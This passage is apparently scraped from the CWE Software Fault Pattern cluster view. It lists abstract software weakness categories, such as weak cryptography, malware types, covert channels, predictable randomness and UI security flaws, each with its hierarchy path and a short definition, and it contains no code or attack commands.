The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Verification of Cryptographic Signature - (347)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 347 (Improper Verification of Cryptographic Signature)
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Weak Password Recovery Mechanism for Forgotten Password - (640)
888 (Software Fault Pattern (SFP) Clusters) > 903 (SFP Primary Cluster: Cryptography) > 959 (SFP Secondary Cluster: Weak Cryptography) > 640 (Weak Password Recovery Mechanism for Forgotten Password)
The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Malware - (904)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware)
This category identifies Software Fault Patterns (SFPs) within the Malware cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Embedded Malicious Code - (506)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 506 (Embedded Malicious Code)
The product contains code that appears to be malicious in nature.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Trojan Horse - (507)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 507 (Trojan Horse)
The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Non-Replicating Malicious Code - (508)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 508 (Non-Replicating Malicious Code)
Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Replicating Malicious Code (Virus or Worm) - (509)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 509 (Replicating Malicious Code (Virus or Worm))
Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Trapdoor - (510)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 510 (Trapdoor)
A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Logic/Time Bomb - (511)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 511 (Logic/Time Bomb)
The product contains code that is designed to disrupt the legitimate operation of the product (or its environment) when a certain time passes, or when a certain logical condition is met.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Spyware - (512)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 512 (Spyware)
The product collects personally identifiable information about a human user or the user's activities, but the product accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the product.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Windows ::DATA Alternate Data Stream - (69)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 69 (Improper Handling of Windows ::DATA Alternate Data Stream)
The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Covert Channel - (968)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 968 (SFP Secondary Cluster: Covert Channel)
This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Covert Timing Channel - (385)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 968 (SFP Secondary Cluster: Covert Channel) > 385 (Covert Timing Channel)
Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Covert Channel - (514)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 968 (SFP Secondary Cluster: Covert Channel) > 514 (Covert Channel)
A covert channel is a path that can be used to transfer information in a way not intended by the system's designers.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Covert Storage Channel - (515)
888 (Software Fault Pattern (SFP) Clusters) > 904 (SFP Primary Cluster: Malware) > 968 (SFP Secondary Cluster: Covert Channel) > 515 (Covert Storage Channel)
A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Predictability - (905)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability)
This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Use of Insufficiently Random Values - (330)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 330 (Use of Insufficiently Random Values)
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insufficient Entropy - (331)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 331 (Insufficient Entropy)
The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Insufficient Entropy in PRNG - (332)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 332 (Insufficient Entropy in PRNG)
The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Insufficient Entropy in TRNG - (333)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 333 (Improper Handling of Insufficient Entropy in TRNG)
True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Small Space of Random Values - (334)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 334 (Small Space of Random Values)
The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) - (335)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 335 (Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG))
The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Same Seed in Pseudo-Random Number Generator (PRNG) - (336)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 336 (Same Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Predictable Seed in Pseudo-Random Number Generator (PRNG) - (337)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 337 (Predictable Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) - (338)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 338 (Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG))
The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Small Seed Space in PRNG - (339)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 339 (Small Seed Space in PRNG)
A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Generation of Predictable Numbers or Identifiers - (340)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 340 (Generation of Predictable Numbers or Identifiers)
The product uses a scheme that generates numbers or identifiers that are more predictable than required.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Predictable from Observable State - (341)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 341 (Predictable from Observable State)
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Predictable Exact Value from Previous Values - (342)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 342 (Predictable Exact Value from Previous Values)
An exact value or random number can be precisely predicted by observing previous values.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Predictable Value Range from Previous Values - (343)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 343 (Predictable Value Range from Previous Values)
The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Invariant Value in Dynamically Changing Context - (344)
888 (Software Fault Pattern (SFP) Clusters) > 905 (SFP Primary Cluster: Predictability) > 344 (Use of Invariant Value in Dynamically Changing Context)
The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: UI - (906)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI)
This category identifies Software Fault Patterns (SFPs) within the UI cluster.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Feature - (995)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature)
This category identifies Software Fault Patterns (SFPs) within the Feature cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unimplemented or Unsupported Feature in UI - (447)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 447 (Unimplemented or Unsupported Feature in UI)
A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Obsolete Feature in UI - (448)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 448 (Obsolete Feature in UI)
A UI function is obsolete and the product does not warn the user.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.The UI Performs the Wrong Action - (449)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 449 (The UI Performs the Wrong Action)
The UI performs the wrong action with respect to the user's request.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Multiple Interpretations of UI Input - (450)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 450 (Multiple Interpretations of UI Input)
The UI has multiple interpretations of user input but does not prompt the user when it selects the less secure interpretation.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.User Interface (UI) Misrepresentation of Critical Information - (451)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 451 (User Interface (UI) Misrepresentation of Critical Information)
The user interface (UI) does not properly represent critical information to the user, allowing the information - or its source - to be obscured or spoofed. This is often a component in phishing attacks.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Password Field Masking - (549)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 549 (Missing Password Field Masking)
The product does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insufficient Psychological Acceptability - (655)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 995 (SFP Secondary Cluster: Feature) > 655 (Insufficient Psychological Acceptability)
The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Security - (996)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 996 (SFP Secondary Cluster: Security)
This category identifies Software Fault Patterns (SFPs) within the Security cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Product UI does not Warn User of Unsafe Actions - (356)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 996 (SFP Secondary Cluster: Security) > 356 (Product UI does not Warn User of Unsafe Actions)
The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insufficient UI Warning of Dangerous Operations - (357)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 996 (SFP Secondary Cluster: Security) > 357 (Insufficient UI Warning of Dangerous Operations)
The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.UI Discrepancy for Security Feature - (446)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 996 (SFP Secondary Cluster: Security) > 446 (UI Discrepancy for Security Feature)
The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Information Loss - (997)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 997 (SFP Secondary Cluster: Information Loss)
This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Information Loss or Omission - (221)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 997 (SFP Secondary Cluster: Information Loss) > 221 (Information Loss or Omission)
The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Truncation of Security-relevant Information - (222)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 997 (SFP Secondary Cluster: Information Loss) > 222 (Truncation of Security-relevant Information)
The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Omission of Security-relevant Information - (223)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 997 (SFP Secondary Cluster: Information Loss) > 223 (Omission of Security-relevant Information)
The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Obscured Security-relevant Information by Alternate Name - (224)
888 (Software Fault Pattern (SFP) Clusters) > 906 (SFP Primary Cluster: UI) > 997 (SFP Secondary Cluster: Information Loss) > 224 (Obscured Security-relevant Information by Alternate Name)
The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Other - (907)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other)
This category identifies Software Fault Patterns (SFPs) within the Other cluster.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Architecture - (975)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture)
This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Less Trusted Source - (348)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 348 (Use of Less Trusted Source)
The product has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposure of Private Personal Information to an Unauthorized Actor - (359)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 359 (Exposure of Private Personal Information to an Unauthorized Actor)
The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.Privacy violationPrivacy leakPrivacy leakage
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Client-Side Enforcement of Server-Side Security - (602)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 602 (Client-Side Enforcement of Server-Side Security)
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') - (637)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 637 (Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism'))
The product uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.Unnecessary Complexity
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking - (649)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 649 (Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking)
The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reliance on a Single Factor in a Security Decision - (654)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 654 (Reliance on a Single Factor in a Security Decision)
A protection mechanism relies exclusively, or to a large extent, on the evaluation of a single condition or the integrity of a single object or entity in order to make a decision about granting access to restricted resources or functionality.Separation of Privilege
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Reliance on Security Through Obscurity - (656)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 656 (Reliance on Security Through Obscurity)
The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.Never Assuming your secrets are safe
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Violation of Secure Design Principles - (657)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 657 (Violation of Secure Design Principles)
The product violates well-established principles for secure design.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Lack of Administrator Control over Security - (671)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 671 (Lack of Administrator Control over Security)
The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Protection Mechanism Failure - (693)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 693 (Protection Mechanism Failure)
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Exposed Dangerous Method or Function - (749)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 975 (SFP Secondary Cluster: Architecture) > 749 (Exposed Dangerous Method or Function)
The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Compiler - (976)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 976 (SFP Secondary Cluster: Compiler)
This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Compiler Optimization Removal or Modification of Security-critical Code - (733)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 976 (SFP Secondary Cluster: Compiler) > 733 (Compiler Optimization Removal or Modification of Security-critical Code)
The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Design - (977)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design)
This category identifies Software Fault Patterns (SFPs) within the Design cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Misinterpretation of Input - (115)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 115 (Misinterpretation of Input)
The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Partial String Comparison - (187)
